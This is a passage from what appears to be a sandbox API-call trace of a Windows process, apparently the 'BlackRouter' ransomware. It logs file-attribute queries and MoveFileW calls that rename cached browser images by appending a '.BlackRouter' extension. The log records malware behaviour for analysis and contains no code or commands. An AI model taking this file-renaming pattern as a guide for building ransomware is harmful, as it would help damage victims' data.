fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x610b9d00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x610b9d00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf467170, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x140)) returned 1 [0068.385] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\close-icon[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\close-icon[1].png.blackrouter")) returned 1 [0068.386] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x7f7e [0068.394] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe967230, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe967230, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xcf467170, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x7f80)) returned 1 [0068.394] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg.blackrouter")) returned 1 [0068.395] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x7b8 [0068.401] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aalg41q[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5159c2b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5159c2b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf48d2d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x7c0)) returned 1 [0068.401] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aalg41q[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aalg41q[1].jpg.blackrouter")) returned 1 [0068.402] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x36b1 [0068.405] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aanhryj[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x533f5b30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x533f5b30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf48d2d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x36c0)) returned 1 [0068.405] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aanhryj[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aanhryj[1].jpg.blackrouter")) returned 1 [0068.406] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x8217 [0068.421] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe967230, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe967230, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xcf4b3430, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x8220)) returned 1 [0068.421] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg.blackrouter")) returned 1 [0068.422] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x152c [0068.432] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbalzyp[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45be8b30, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45be8b30, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcf4d9590, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1530)) returned 1 [0068.432] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbalzyp[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbalzyp[1].jpg.blackrouter")) returned 1 [0068.433] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x97c [0068.438] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbimkp[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5360ae70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5360ae70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf4d9590, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x980)) returned 1 [0068.438] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbimkp[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbimkp[1].jpg.blackrouter")) returned 1 [0068.439] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x29ca [0068.443] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmgjo[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53598a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53598a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf4ff6f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x29d0)) returned 1 [0068.443] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmgjo[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmgjo[1].jpg.blackrouter")) returned 1 [0068.443] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x862 [0068.451] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmkdf[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x539049f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x539049f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf4ff6f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x870)) returned 1 [0068.451] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmkdf[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmkdf[1].jpg.blackrouter")) returned 1 [0068.452] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x142e [0068.460] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmqch[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53846310, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53846310, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf525850, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1430)) returned 1 [0068.461] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmqch[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmqch[1].jpg.blackrouter")) returned 1 [0068.461] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x3e6b [0068.468] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmyvh[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x58321c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58321c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf525850, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x3e70)) returned 1 [0068.468] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmyvh[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmyvh[1].jpg.blackrouter")) returned 1 [0068.469] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x812 [0068.479] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbnaf7[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53337450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53337450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf54b9b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x820)) returned 1 [0068.479] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbnaf7[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbnaf7[1].jpg.blackrouter")) returned 1 [0068.481] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0xb22 [0068.483] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbnntf[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x533a9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x533a9870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf54b9b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xb30)) returned 1 [0068.484] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbnntf[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbnntf[1].jpg.blackrouter")) returned 1 [0068.484] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1529 [0068.490] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbo4dz[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x539c30d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x539c30d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf54b9b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1530)) returned 1 [0068.490] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbo4dz[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbo4dz[1].jpg.blackrouter")) returned 1 [0068.491] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1e61 [0068.494] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbo8ow[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x538b8730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x538b8730, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf571b10, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1e70)) returned 1 [0068.494] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbo8ow[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbo8ow[1].jpg.blackrouter")) returned 1 [0068.495] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x636 [0068.498] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbboaes[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x532eb190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x532eb190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf571b10, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x640)) returned 1 [0068.498] 